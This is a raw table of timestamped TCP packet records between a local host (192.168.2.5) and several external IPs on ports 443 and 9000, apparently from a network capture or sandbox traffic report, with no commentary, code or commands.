May 21, 2025 21:49:04.872780085 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.970873117 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.981137037 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:04.981137037 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:04.981162071 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:04.981170893 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:04.981178999 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:04.981189013 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:04.989934921 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:04.990005970 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.078872919 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.119261026 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:05.126214981 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:05.126247883 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.192214966 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.228387117 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:05.228508949 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.261801004 CEST	49736	443	192.168.2.5	142.251.2.154
May 21, 2025 21:49:05.261850119 CEST	49737	443	192.168.2.5	142.251.2.154
May 21, 2025 21:49:05.261899948 CEST	49738	443	192.168.2.5	142.250.101.156
May 21, 2025 21:49:05.261929035 CEST	49739	443	192.168.2.5	142.250.101.156
May 21, 2025 21:49:05.262280941 CEST	443	49736	142.251.2.154	192.168.2.5
May 21, 2025 21:49:05.262382984 CEST	49736	443	192.168.2.5	142.251.2.154
May 21, 2025 21:49:05.262799025 CEST	443	49737	142.251.2.154	192.168.2.5
May 21, 2025 21:49:05.262831926 CEST	443	49738	142.250.101.156	192.168.2.5
May 21, 2025 21:49:05.262845039 CEST	49737	443	192.168.2.5	142.251.2.154
May 21, 2025 21:49:05.262852907 CEST	443	49739	142.250.101.156	192.168.2.5
May 21, 2025 21:49:05.262878895 CEST	49738	443	192.168.2.5	142.250.101.156
May 21, 2025 21:49:05.262911081 CEST	49739	443	192.168.2.5	142.250.101.156
May 21, 2025 21:49:05.312038898 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.335743904 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:05.335839033 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.369656086 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:05.370062113 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:05.370120049 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:05.370166063 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:05.371562958 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:05.371787071 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:05.372112036 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:05.372116089 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:05.444998026 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.446059942 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:05.446131945 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.549438953 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.559505939 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:05.559573889 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.574554920 CEST	49746	443	192.168.2.5	172.67.146.180
May 21, 2025 21:49:05.574584007 CEST	443	49746	172.67.146.180	192.168.2.5
May 21, 2025 21:49:05.654953003 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.667742014 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:05.667809963 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.764281988 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.774461031 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:05.774518967 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.877017021 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.884339094 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:05.884403944 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.987586021 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:05.991111040 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:05.991189957 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.096535921 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.099661112 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.099709988 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.201531887 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.201829910 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.246226072 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.311661005 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.316855907 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.358244896 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.420583963 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.426856995 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.481893063 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.524560928 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.528136969 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.568296909 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.629189968 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.635884047 CEST	49747	443	192.168.2.5	35.190.80.1
May 21, 2025 21:49:06.635925055 CEST	443	49747	35.190.80.1	192.168.2.5
May 21, 2025 21:49:06.637639046 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.637707949 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.738092899 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.749964952 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.750032902 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.846146107 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.856609106 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.856692076 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.955179930 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:06.964092016 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:06.964147091 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.071043015 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.074426889 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:07.074491024 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.174590111 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.190071106 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:07.190130949 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.281713009 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.300630093 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:07.300709963 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.392018080 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.409825087 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:07.409929037 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.508410931 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.516204119 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:07.516323090 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.618925095 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.625046015 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:07.625118017 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.728049994 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.734602928 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:07.734699011 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.834847927 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.844695091 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:07.844786882 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.942950010 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:07.985327005 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.007113934 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.007221937 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.052310944 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.092092991 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.121807098 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.121921062 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.165990114 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.207210064 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.223826885 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.223951101 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.324925900 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.330369949 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.330437899 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.376832962 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:08.376833916 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:08.376868963 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:08.376895905 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:08.376914024 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:08.376929998 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:08.376955986 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:08.376965046 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:08.377028942 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:08.377036095 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:08.437814951 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.437911034 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.440763950 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.482649088 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.543267965 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.549422979 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.603076935 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.649595022 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.655731916 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.708648920 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.755500078 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.759529114 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.804267883 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.865317106 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.865396976 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.868119001 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.917428017 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:08.945075035 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:08.945262909 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:08.945455074 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:08.945476055 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:08.947030067 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:08.947118044 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:08.975048065 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:08.979501009 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:09.020276070 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.080065012 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.088740110 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:09.088793993 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.184950113 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.196438074 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:09.196531057 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.304663897 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.311013937 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:09.311084986 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.409925938 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.419400930 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:09.419461012 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.514101028 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.543126106 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:09.543234110 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.628700018 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.655000925 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:09.655062914 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.739064932 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.758780956 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:09.758848906 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.862840891 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.866322041 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:09.866386890 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.967669964 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:09.967756987 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:09.972496033 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.012528896 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:10.076149940 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.081140041 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:10.124273062 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.183815002 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.188369989 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:10.188442945 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.285590887 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.292979002 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:10.293044090 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.402065039 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.403860092 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:10.403949976 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.506763935 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.511295080 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:10.511532068 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.612448931 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.616199970 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:10.616323948 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.727536917 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.734927893 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:10.735039949 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.832712889 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.840212107 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:10.840328932 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.937387943 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:10.950819969 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:10.950972080 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.053747892 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.060936928 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.061055899 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.164743900 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.166819096 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.166893959 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.190850973 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:49:11.242851973 CEST	49705	443	192.168.2.5	23.43.51.47
May 21, 2025 21:49:11.242892027 CEST	49710	443	192.168.2.5	142.251.2.93
May 21, 2025 21:49:11.242923975 CEST	49706	443	192.168.2.5	18.188.153.65
May 21, 2025 21:49:11.242961884 CEST	49712	443	192.168.2.5	54.175.154.40
May 21, 2025 21:49:11.242961884 CEST	49735	443	192.168.2.5	142.250.101.156
May 21, 2025 21:49:11.243149042 CEST	49727	443	192.168.2.5	104.254.148.252
May 21, 2025 21:49:11.249156952 CEST	49724	443	192.168.2.5	70.40.216.191
May 21, 2025 21:49:11.249177933 CEST	49726	443	192.168.2.5	23.43.51.47
May 21, 2025 21:49:11.249222994 CEST	49717	443	192.168.2.5	75.2.108.141
May 21, 2025 21:49:11.249275923 CEST	49746	443	192.168.2.5	172.67.146.180
May 21, 2025 21:49:11.249341965 CEST	49713	443	192.168.2.5	50.57.243.90
May 21, 2025 21:49:11.249393940 CEST	49729	443	192.168.2.5	23.43.51.47
May 21, 2025 21:49:11.249393940 CEST	49714	443	192.168.2.5	104.254.151.60
May 21, 2025 21:49:11.249531031 CEST	49741	443	192.168.2.5	99.83.231.3
May 21, 2025 21:49:11.249650002 CEST	49716	443	192.168.2.5	75.2.108.141
May 21, 2025 21:49:11.249737024 CEST	49715	443	192.168.2.5	23.43.51.47
May 21, 2025 21:49:11.249794006 CEST	49728	443	192.168.2.5	23.43.51.48
May 21, 2025 21:49:11.249811888 CEST	49718	443	192.168.2.5	142.250.101.103
May 21, 2025 21:49:11.249941111 CEST	49747	443	192.168.2.5	35.190.80.1
May 21, 2025 21:49:11.249964952 CEST	49744	443	192.168.2.5	172.67.74.152
May 21, 2025 21:49:11.249967098 CEST	49742	443	192.168.2.5	70.40.216.191
May 21, 2025 21:49:11.249974012 CEST	49745	443	192.168.2.5	104.26.12.205
May 21, 2025 21:49:11.250029087 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:11.250042915 CEST	49740	443	192.168.2.5	74.125.137.104
May 21, 2025 21:49:11.250066042 CEST	49734	443	192.168.2.5	216.239.32.181
May 21, 2025 21:49:11.278759956 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.280231953 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.281358957 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.326172113 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.379908085 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.413207054 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.460279942 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.493074894 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.526385069 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.526458979 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.580260992 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.580334902 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.600447893 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.633850098 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.680277109 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.730930090 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.740603924 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.740658998 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.847930908 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.848015070 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.848826885 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.892997980 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.900032043 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:11.954139948 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.954677105 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:11.996299982 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.027365923 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.035490036 CEST	49758	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.059806108 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.059962034 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.063585043 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.063643932 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.167632103 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.168596029 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.168654919 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.225733995 CEST	9000	49758	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.225887060 CEST	49758	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.226049900 CEST	49758	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.272439957 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.276074886 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.276129961 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.382922888 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.383143902 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.383210897 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.417340040 CEST	9000	49758	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.488471031 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.490139961 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.490227938 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.593391895 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.597038984 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.597126007 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.674443007 CEST	9000	49758	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.674472094 CEST	9000	49758	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.674746037 CEST	49758	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.674746037 CEST	49758	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.703500986 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.705245972 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.705290079 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.780251026 CEST	49759	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.810414076 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.811343908 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.811403990 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.864972115 CEST	9000	49758	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.918418884 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.919995070 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.920058966 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.970690012 CEST	9000	49759	144.172.101.228	192.168.2.5
May 21, 2025 21:49:12.970788956 CEST	49759	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:12.970978022 CEST	49759	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.023679972 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.027859926 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.027916908 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.128964901 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.135749102 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.135828018 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.161210060 CEST	9000	49759	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.240933895 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.243284941 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.243339062 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.346148968 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.352993011 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.353060007 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.414021969 CEST	9000	49759	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.414041996 CEST	9000	49759	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.414112091 CEST	49759	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.414268970 CEST	49759	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.454284906 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.458653927 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.458695889 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.520291090 CEST	49760	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.561860085 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.566879988 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.566941023 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.604795933 CEST	9000	49759	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.671921015 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:13.673448086 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:13.673518896 CEST	443	49753	144.172.101.228	192.168.2.5
